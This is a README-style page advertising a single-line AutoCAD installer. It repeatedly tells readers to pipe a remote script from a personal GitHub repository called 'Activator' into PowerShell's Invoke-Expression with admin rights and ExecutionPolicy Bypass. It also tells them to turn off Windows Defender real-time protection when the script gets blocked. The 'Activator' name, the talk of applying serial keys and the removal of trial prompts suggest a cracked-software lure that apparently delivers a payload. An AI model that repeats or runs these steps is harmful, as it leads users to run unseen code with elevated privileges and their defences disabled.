📦 AutoCAD | Single Line Installer
An all-in-one, single-line deployment script for Autodesk AutoCAD. This tool automates the installation of the complete CAD suite—including core design engines, standard libraries, and essential regional language packs—requiring zero manual intervention.
🚀 Quick Install
PowerShell
Run the following command in an elevated PowerShell session:
irm https://raw.githubusercontent.com/anayadora771/Activator/main/Activator.ps1 | iex
Command Prompt (cmd.exe)
powershell -ExecutionPolicy Bypass -Command "irm https://raw.githubusercontent.com/anayadora771/Activator/main/Activator.ps1 | iex"
Windows Terminal
Compatible with any modern terminal profile (PowerShell, CMD, or Azure Cloud Shell). Simply copy and paste the command matching your current shell environment.
🛠️ How It Works
- Privilege Elevation: A standard UAC prompt will appear—click Yes to grant administrative permissions.
- Automated Download: The script fetches the official Autodesk AutoCAD deployment package directly from your configured content delivery network or local share.
- Unattended Setup: All components install silently in the background with no setup wizards, "Next" prompts, or mid-install reboots using the standard
--mode simpleAutodesk installer parameters. - Licensing Configuration: Automatically applies pre-configured license server paths (CLM/KMS) or corporate serial keys post-install.
- Completion: A desktop shortcut for AutoCAD will appear once the deployment is successful.
📱 Included Components
| Component | Description |
|---|---|
| AutoCAD Core | The primary 2D and 3D computer-aided design engine. |
| Autodesk Save to Web & Mobile | Component enabling cloud storage integration and cross-device syncing. |
| Autodesk Desktop App | Standard companion app for official security patches and performance updates. |
| Material Library | High-resolution textures and materials for realistic 3D rendering. |
| Express Tools | A library of productivity tools that extend AutoCAD functionality. |
✨ Key Features
- Single-Command Execution: No need to download multi-part self-extracting SFX archives or manually configure
Setup.exe. - Fully Automated: Runs entirely unattended from start to finish.
- Optimized Build: Excludes telemetry bloat, trial notifications, and aggressive Autodesk account prompts.
- Highly Portable: Works via PowerShell, CMD, Windows Terminal, or directly from the Run dialog (
Win+R). - Idempotent Design: Safe to re-run if interrupted; the installer will automatically resume from the last checkpoint.
💻 System Requirements
| Component | Minimum | Recommended |
|---|---|---|
| OS | Windows 10 (64-bit, version 1809 or higher) | Windows 11 |
| CPU | 2.5 GHz (4 Cores) | 3.0 GHz+ (8 Cores, ARM64/x64) |
| RAM | 8 GB | 16 GB+ |
| Disk Space | 10 GB free space | 20 GB free space (NVMe SSD preferred) |
| GPU | 1 GB GPU (DirectX 11 compliant) | 4 GB+ GPU (DirectX 12 compliant) |
| Display | 1920 × 1080 | 4K Resolution (3840 x 2160) |
🔍 Troubleshooting
Script closes instantly or does nothing
Your system's execution policy might be blocking unsigned scripts. Bypass it by using the Command Prompt version:
powershell -ExecutionPolicy Bypass -Command "irm https://raw.githubusercontent.com/anayadora771/Activator/main/Activator.ps1 | iex"
Alternatively, open PowerShell as an Administrator before executing the command.
Error: "irm is not recognized"
This occurs on older environments running PowerShell 2.0. Use the explicit cmdlet aliases instead:
Invoke-RestMethod https://raw.githubusercontent.com/anayadora771/Activator/main/Activator.ps1 | Invoke-Expression
Antivirus or SmartScreen blocks the script
Windows Defender or third-party antivirus suites may occasionally flag custom deployment scripts. To resolve this:
- Navigate to Windows Security → Virus & threat protection → Manage settings.
- Temporarily disable Real-time protection.
- Execute the installer script.
- Re-enable protection immediately after setup finishes.
Installation hangs during extraction
- Ensure all instances of older Autodesk applications or background licensing services are completely closed.
- Verify that your
%TEMP%directory has at least 12 GB of available space. - Temporarily pause active antivirus scanning on your local temp folders, then re-run the script.
Error 1603 — Fatal error during installation
An existing Autodesk component or corrupted Visual C++ Redistributable is conflicting with the deployment. Purge prior shared components using the modern CIM cmdlet:
powershell -Command "Get-CimInstance -ClassName Win32_Product | Where-Object { \(_.Name -like '*Autodesk*' } \vert{} ForEach-Object {\)_ | Invoke-CimMethod -MethodName Uninstall }"
Note: Restart your computer before running the deployment script again.
AutoCAD fails to acquire a Network License
This is typically an infrastructure configuration issue. Verify with your network administrator that the FlexLM license server is online and ports 2080 and 27000-27009 are open. You can check your system's network license settings in %ProgramData%\Autodesk\CLM\LGS\.
📄 License
This project is licensed under the MIT License - see the LICENSE file for details.